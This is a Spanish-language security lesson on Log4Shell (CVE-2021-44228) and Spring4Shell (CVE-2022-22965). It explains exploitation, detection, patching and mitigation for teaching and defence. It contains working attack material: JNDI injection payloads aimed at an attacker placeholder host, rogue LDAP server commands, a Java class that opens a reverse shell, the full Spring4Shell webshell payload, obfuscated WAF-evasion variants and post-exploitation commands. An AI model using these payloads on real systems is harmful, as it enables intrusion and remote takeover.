Log4Shell y Spring4Shell: CVEs emblemáticas, explotación, detección y parche
· 12 min de lectura
Entiende Log4Shell (CVE-2021-44228) y Spring4Shell (CVE-2022-22965): cómo se explotan, cómo se detectan en logs y tráfico, y qué parches y mitigaciones aplicar.
En diciembre de 2021, una sola línea de texto introducida en un campo de login fue capaz de comprometer servidores de Minecraft, servicios de Apple iCloud, infraestructuras de Cloudflare y miles de aplicaciones corporativas en cuestión de horas. La vulnerabilidad se llamó Log4Shell y recibió un CVSS de 10.0, la puntuación máxima. Meses después, en marzo de 2022, Spring4Shell repitió el patrón en otro componente ubicuo del ecosistema Java. Juntas, estas dos CVEs ilustran lo que pasa cuando un fallo crítico aparece en una librería que millones de aplicaciones integran sin pensar.
Esta lección analiza ambas vulnerabilidades desde la perspectiva del atacante y del defensor: cómo funcionan internamente, cómo se explotan, cómo se detectan y cómo se parchean. Es la decimoquinta lección de la Tanda 8. Puedes practicar técnicas de ejecución remota de código similares en los laboratorios leviathan y no-vulnerability de whoami-labs.
Todo lo que leas aquí es para entender, detectar y corregir. Practicar explotación solo en entornos autorizados: tus laboratorios, tus máquinas virtuales, tus CTFs. Lanzar estos ataques contra sistemas ajenos sin permiso es delito.
Qué es Log4Shell (CVE-2021-44228)#

Log4Shell es una vulnerabilidad de ejecución remota de código (RCE) en Apache Log4j 2, la librería de logging más usada en el ecosistema Java. Afecta a las versiones desde la 2.0-beta9 hasta la 2.14.1 inclusive.
El problema está en la funcionalidad de message lookups de Log4j. Cuando Log4j procesa un mensaje que contiene la cadena ${jndi:ldap://...}, en lugar de escribir ese texto literalmente en el log, lo interpreta como una instrucción: contacta el servidor LDAP indicado, descarga una clase Java y la ejecuta. Un atacante que controle cualquier dato que acabe siendo logueado (un header HTTP, un campo de formulario, un nombre de usuario, un User-Agent) puede inyectar esa cadena y obtener ejecución de código en el servidor.
JNDI (Java Naming and Directory Interface) es una API de Java diseñada para buscar recursos en servicios de directorio como LDAP, DNS o RMI. El problema no es JNDI en sí, sino que Log4j evaluaba lookups JNDI dentro de los mensajes de log sin ninguna restricción. Cualquier entrada del usuario que pasara por logger.info(), logger.error() o cualquier otro nivel de log se convertía en un vector de ataque.
Por qué fue tan grave#
Varias razones convirtieron Log4Shell en una de las peores vulnerabilidades de la historia reciente:
- Log4j 2 está embebido en cientos de miles de aplicaciones Java: servidores web, APIs, aplicaciones de escritorio, dispositivos IoT, servicios cloud.
- La explotación es trivial: basta una sola cadena de texto en cualquier campo que acabe en un log.
- No se necesita autenticación: el payload puede ir en un header HTTP, un parámetro GET, un User-Agent o un campo de login.
- El impacto es RCE completo: ejecución de código arbitrario con los permisos del proceso Java.
- CVSS 10.0: puntuación máxima.
Servicios afectados confirmados públicamente incluyen Minecraft (el vector de descubrimiento original), Apple iCloud, Amazon AWS, Cloudflare, Twitter, Steam, Cisco, VMware y muchos más. Se estima que más de 35.000 paquetes Java en Maven Central dependían directa o transitivamente de Log4j 2 en el momento de la divulgación.
Cómo funciona la explotación de Log4Shell#
El ataque sigue una cadena de cinco pasos:
Paso 1: inyección del payload#
El atacante envía una petición HTTP con el payload en cualquier campo que el servidor loguee:
GET / HTTP/1.1
Host: victima.com
User-Agent: ${jndi:ldap://ATACANTE:1389/exploit}
Paso 2: Log4j interpreta el lookup#
Cuando el servidor loguea la petición (logger.info("Request from " + userAgent)), Log4j detecta ${jndi:...} y lo evalúa. Inicia una conexión LDAP al servidor del atacante.
Paso 3: respuesta LDAP con referencia#
El servidor LDAP del atacante responde con una referencia a un servidor HTTP que aloja una clase Java maliciosa:
dn: exploit
javaClassName: Exploit
javaCodeBase: http://ATACANTE:8888/
objectClass: javaNamingReference
javaFactory: Exploit
Paso 4: descarga y ejecución de la clase#
El servidor víctima descarga Exploit.class desde el servidor HTTP del atacante y la ejecuta. El código puede ser cualquier cosa: una reverse shell, un minero de criptomonedas, un ransomware.
Paso 5: control total#
El atacante tiene ejecución de código con los permisos del proceso Java. Si corre como root, tiene control total del sistema.
Para montar la parte del atacante se suele usar marshalsec (rogue LDAP server) o herramientas como JNDI-Exploit-Kit:
# Servidor LDAP malicioso con marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer "http://IP_ATACANTE:8888/#Exploit" 1389
# Servidor HTTP con la clase compilada
python3 -m http.server 8888
# Listener para la reverse shell
nc -lvnp 4444
Variantes y CVEs relacionadas#
Tras el parche inicial, se descubrieron bypasses y variantes:
| CVE | Severidad | Descripción |
|---|---|---|
| CVE-2021-44228 | CVSS 10.0 | Log4Shell original: RCE vía JNDI lookup en mensajes de log |
| CVE-2021-45046 | CVSS 9.0 | Bypass del parche inicial (2.15.0): RCE en configuraciones no predeterminadas |
| CVE-2021-45105 | CVSS 7.5 | Denegación de servicio por recursión infinita en lookups |
| CVE-2021-44832 | CVSS 6.6 | RCE vía JDBC appender si el atacante controla la configuración |
La versión definitivamente segura es Log4j 2.17.0 (Java 8) o superior. Las versiones 2.15.0 y 2.16.0 mitigaron parcialmente pero no cubrían todos los vectores.
Qué es Spring4Shell (CVE-2022-22965)#
En marzo de 2022, se reveló una vulnerabilidad de RCE en Spring Framework, el framework web Java más usado del mundo. Afecta a las versiones 5.3.0 a 5.3.17 y 5.2.0 a 5.2.19 cuando se ejecutan en JDK 9 o superior con Apache Tomcat como servidor de aplicaciones.
El fallo explota el mecanismo de data binding de Spring MVC. Cuando Spring recibe parámetros HTTP y los mapea automáticamente a propiedades de un objeto Java, un atacante puede manipular la cadena de accesores hasta llegar al class loader de Tomcat y modificar propiedades internas del motor de logging. El resultado: escribir una webshell JSP en el directorio del servidor.
A diferencia de Log4Shell, Spring4Shell requiere condiciones específicas (JDK 9+, Tomcat, WAR desplegado como paquete, endpoint que acepte data binding), lo que limitó su impacto en la práctica. Su CVSS es 9.8.
Cómo funciona la explotación de Spring4Shell#
El ataque manipula los parámetros HTTP para navegar la cadena de propiedades del objeto Java hasta el class loader de Tomcat:
POST /vulnerable-endpoint HTTP/1.1
Host: victima.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Lo que hace este payload, decodificado:
- Cambia el patrón de log de Tomcat para que escriba código JSP.
- Establece el directorio de salida como
webapps/ROOT. - El archivo se llama
shell.jsp. - El contenido es una webshell que acepta un parámetro
cmdprotegido con la contraseñapwd=j.
Después, el atacante accede a la shell:
curl "http://IP_DEL_LAB/shell.jsp?pwd=j&cmd=id"
Cómo se detectan#

La detección temprana es clave. Estas son las señales por vulnerabilidad:
| Señal | Log4Shell | Spring4Shell |
|---|---|---|
| Patrón en logs de acceso | Cadenas con jndi:ldap, jndi:rmi, jndi:dns en cualquier campo | Parámetros con class.module.classLoader en POST |
| Tráfico de red | Conexiones salientes LDAP (389, 1389) o RMI (1099) inesperadas | Creación de archivos .jsp en webapps |
| Archivos en disco | Clases .class descargadas en /tmp o directorios temporales de Java | Archivos .jsp nuevos en el directorio ROOT de Tomcat |
| Reglas YARA | Buscan cadenas jndi en binarios y logs | Buscan class.module.classLoader en tráfico HTTP |
| Scanners | log4j-scan, log4j-detector, Burp Log4Shell scanner | Nuclei templates, Spring4Shell-POC |
Para buscar en logs retroactivamente:
# Log4Shell en access.log
grep -riE '\$\{jndi:' /var/log/apache2/access.log /var/log/nginx/access.log
# Variantes ofuscadas
grep -riE '(\$\{|\$%7B)(jndi|j\$\{|J\$\{)' /var/log/
# Spring4Shell en access.log
grep -i 'class.module.classLoader' /var/log/apache2/access.log
Los atacantes ofuscan el payload para evadir WAFs. Variantes comunes de Log4Shell:
${${lower:j}ndi:ldap://...}
${${upper:j}${upper:n}di:ldap://...}
${${env:NaN:-j}ndi:ldap://...}
${jndi:${lower:l}${lower:d}a${lower:p}://...}
Por eso las reglas de detección deben cubrir variaciones con lookups anidados, no solo la cadena literal.
Explotación paso a paso en un laboratorio#
Esta demostración usa el concepto de Log4Shell. En los laboratorios leviathan y no-vulnerability de whoami-labs practicas RCE a través de inyección en motores de plantillas y deserialización, que comparten la misma mecánica fundamental: entrada del usuario evaluada como código.
Paso 1: identificar el punto de inyección#
# Enumerar el servicio web
nmap -sV -p- IP_DEL_LAB
Busca campos que se reflejen en logs o que el servidor procese dinámicamente: headers, campos de búsqueda, formularios de login.
Paso 2: probar la inyección#
# Probar si hay resolución JNDI (sin payload malicioso)
curl -H 'X-Api-Version: ${jndi:ldap://IP_ATACANTE:1389/test}' http://IP_DEL_LAB/
Si recibes una conexión en tu listener LDAP, el servidor es vulnerable.
Paso 3: preparar la infraestructura de ataque#
# Compilar la clase maliciosa
cat > Exploit.java << 'JAVA'
public class Exploit {
static {
try {
Runtime.getRuntime().exec(
new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1"});
} catch (Exception e) {}
}
}
JAVA
javac Exploit.java
# Levantar LDAP rogue + HTTP + listener
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
"http://IP_ATACANTE:8888/#Exploit" 1389 &
python3 -m http.server 8888 &
nc -lvnp 4444
Paso 4: lanzar el exploit#
curl -H 'User-Agent: ${jndi:ldap://IP_ATACANTE:1389/exploit}' \
http://IP_DEL_LAB/
Paso 5: post-explotación#
Con la reverse shell, enumera el sistema:
id
cat /etc/passwd
find / -perm -4000 -type f 2>/dev/null
Qué puede lograr un atacante#
| Impacto | Log4Shell | Spring4Shell |
|---|---|---|
| Ejecución remota de código | Sí, sin autenticación | Sí, con condiciones (JDK 9+, Tomcat, WAR) |
| Exfiltración de datos | Acceso completo al filesystem y bases de datos | Acceso vía webshell |
| Movimiento lateral | Desde el servidor comprometido a la red interna | Igual, si el servidor tiene acceso |
| Ransomware y criptominería | Vector confirmado en incidentes reales | Menor incidencia documentada |
| Persistencia | Cron, servicios, claves SSH | Webshell persistente en disco |
| Denegación de servicio | CVE-2021-45105 causa DoS por recursión | No aplica directamente |
Cómo se parchea y se mitiga#
Para Log4Shell, la solución definitiva:
<!-- pom.xml: actualizar a Log4j 2.17.0 o superior -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version>
</dependency>
Si no puedes actualizar inmediatamente, mitigación temporal:
# Eliminar la clase JndiLookup del classpath (Log4j 2.x)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# Variable de entorno (solo funciona en 2.10.0+)
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Para Spring4Shell:
<!-- pom.xml: actualizar Spring Framework -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.18</version>
</dependency>
Mitigaciones adicionales para ambas:
- Bloquear conexiones salientes LDAP, RMI y DNS desde servidores de aplicaciones en el firewall.
- Implementar reglas WAF que detecten patrones
${jndi:yclass.module.classLoader. - Ejecutar aplicaciones Java con permisos mínimos (no como root).
- Usar Security Manager de Java (deprecated pero útil como capa extra en versiones anteriores a JDK 17).
Errores comunes al defenderse#
- Actualizar solo a Log4j 2.15.0 creyendo que está resuelto (tiene bypass, CVE-2021-45046).
- Buscar solo la cadena literal
${jndi:ldap://sin cubrir ofuscaciones. - No revisar dependencias transitivas: Log4j puede estar embebido dentro de otro JAR sin que aparezca en el pom.xml directo.
- Asumir que Spring4Shell no te afecta sin verificar si usas JDK 9+ con Tomcat y WAR packaging.
- Parchear el servidor web pero olvidar aplicaciones internas, microservicios o jobs batch que también usan Log4j.
- No bloquear tráfico saliente LDAP y RMI en el firewall: el parche previene la ejecución, pero el servidor sigue contactando al atacante.
Preguntas frecuentes#
Log4j 1.x también es vulnerable#
Log4j 1.x no tiene la funcionalidad de JNDI lookup en mensajes, así que no es vulnerable a Log4Shell. Sin embargo, Log4j 1.x tiene otras vulnerabilidades conocidas y llegó a fin de vida en 2015. No uses Log4j 1.x en producción.
Si uso SLF4J con Logback, me afecta Log4Shell#
No. Log4Shell es específica de Log4j 2. Si usas SLF4J con Logback como backend, no estás afectado por esta CVE. Pero verifica que ninguna dependencia transitiva incluya log4j-core.
Cómo sé si mi aplicación usa Log4j 2#
Busca el artefacto log4j-core en tus dependencias:
# Maven
mvn dependency:tree | grep log4j
# Gradle
gradle dependencies | grep log4j
# Buscar JARs directamente
find / -name "log4j-core-*.jar" 2>/dev/null
Spring Boot es vulnerable a Spring4Shell#
Solo si usas Spring Framework 5.3.0-5.3.17 o 5.2.0-5.2.19, con JDK 9 o superior, desplegado como WAR en Tomcat. Si usas el servidor embebido de Spring Boot (que es lo más común), no eres vulnerable al vector clásico de Spring4Shell.
Por qué Log4Shell fue más grave que Spring4Shell#
Log4Shell no requiere ninguna condición especial: cualquier aplicación Java que use Log4j 2 y loguee datos del usuario es vulnerable. Spring4Shell necesita una combinación específica de JDK, servidor y tipo de despliegue. Además, Log4Shell se explotó masivamente antes de que hubiera parche, mientras que Spring4Shell se divulgó con parche disponible.
Hay herramientas para escanear Log4Shell en mi red#
Sí. Las más usadas: log4j-scan (Fullhunt), log4j-detector (mergebase), Nuclei templates de ProjectDiscovery, y los módulos de Burp Suite y Nessus. Para redes internas, puedes lanzar payloads de detección que usan DNS canary (el servidor contacta un dominio que controlas, sin ejecutar código).
Resumen#
- Log4Shell (CVE-2021-44228) permite RCE en cualquier aplicación Java que use Log4j 2.0-beta9 a 2.14.1 logueando datos del usuario. CVSS 10.0.
- Spring4Shell (CVE-2022-22965) permite RCE en Spring Framework 5.3.0-5.3.17 bajo condiciones específicas (JDK 9+, Tomcat, WAR). CVSS 9.8.
- Ambas explotan el mismo principio: entrada del usuario evaluada como código (JNDI lookup en un caso, acceso al class loader en otro).
- La detección requiere buscar patrones en logs, incluidas variantes ofuscadas, y monitorizar conexiones salientes sospechosas.
- El parche definitivo para Log4Shell es Log4j 2.17.0 o superior; para Spring4Shell, Spring Framework 5.3.18 o superior.
- Bloquear tráfico saliente LDAP/RMI y ejecutar aplicaciones sin privilegios de root son mitigaciones transversales imprescindibles.